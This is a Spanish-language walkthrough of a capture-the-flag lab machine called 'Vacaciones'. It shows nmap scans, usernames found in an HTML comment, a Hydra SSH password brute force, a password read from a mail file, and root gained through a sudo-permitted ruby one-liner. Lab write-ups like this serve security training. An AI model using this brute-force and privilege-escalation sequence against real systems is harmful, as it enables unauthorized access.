VACACIONES

Lo primero de todo, hacemos un ping a la máquina para comprobar que tenemos conectividad con esta:

```
❯ ping -c 1 172.17.0.2
^[[3~PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.098 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.098/0.098/0.098/0.000 ms
```

El ttl es de 64, por lo que probablemente estamos ante una máquina **Linux**.

Ahora vamos a realizar el escaneo de puertos:

```
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
[sudo] contraseña para romy:
Lo siento, pruebe otra vez.
[sudo] contraseña para romy:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 18:12 CEST
Initiating ARP Ping Scan at 18:12
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 18:12, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:12
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 18:12, 1.09s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000070s latency).
Scanned at 2024-06-01 18:12:51 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Solo tiene dos puertos abiertos, por lo que ahora vamos a realizar un escaneo más en profundidad de estos dos puertos:

```
❯ sudo nmap -p22,80 -sCV 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 18:14 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
|   256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
|_  256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

La versión de ssh es antigua, pero primero vamos a echar un vistazo a la web.

La web esta en blanco pero encontramos lo siguiente:

```
<!-- De : Juan Para: Camilo , te he dejado un correo es importante... -->
```

Dos nombres de usuarios en el código fuente, ahora podemos intentar acceder por fuerza bruta, primero vamos a intentar camilo.

```
❯ hydra -l camilo -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use i
aws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-01 18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: camilo   password: password1
```

Y ya tenemos acceso por ssh:

```
❯ ssh camilo@172.17.0.2
camilo@172.17.0.2's password:
$ whoami
camilo
$
```

Ahora vamos a tratar la bash y luego a investigar dentro de este usuario.

Si recordamos, el mensaje en el html decía que nos habían dejado un correo, si lo buscamos, lo encontramos en la carpeta var/mail/camilo, y dice lo siguiente:

```
Hola Camilo,

Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb
```

Es una contraseña del usuario juan el cual es el que nos envía el correo, vamos a cambiar de usuario:

```
$ whoami
juan
```

Y ahora, buscando manera de escalar privilegios, encontramos con sudo -l lo siguiente:

```
User juan may run the following commands on 6659ea6df3b1:
    (ALL) NOPASSWD: /usr/bin/ruby
```

Ahora si buscamos en GTFObins, podemos encontrar el siguiente comando para conseguir una bash de root:

```
ruby -e 'exec "/bin/sh"'
```

Y vamos a ejecutar:

```
juan@6659ea6df3b1:~$ sudo /usr/bin/ruby -e 'exec "/bin/sh"'
# whoami
root
#
```

Y ya seriamos root.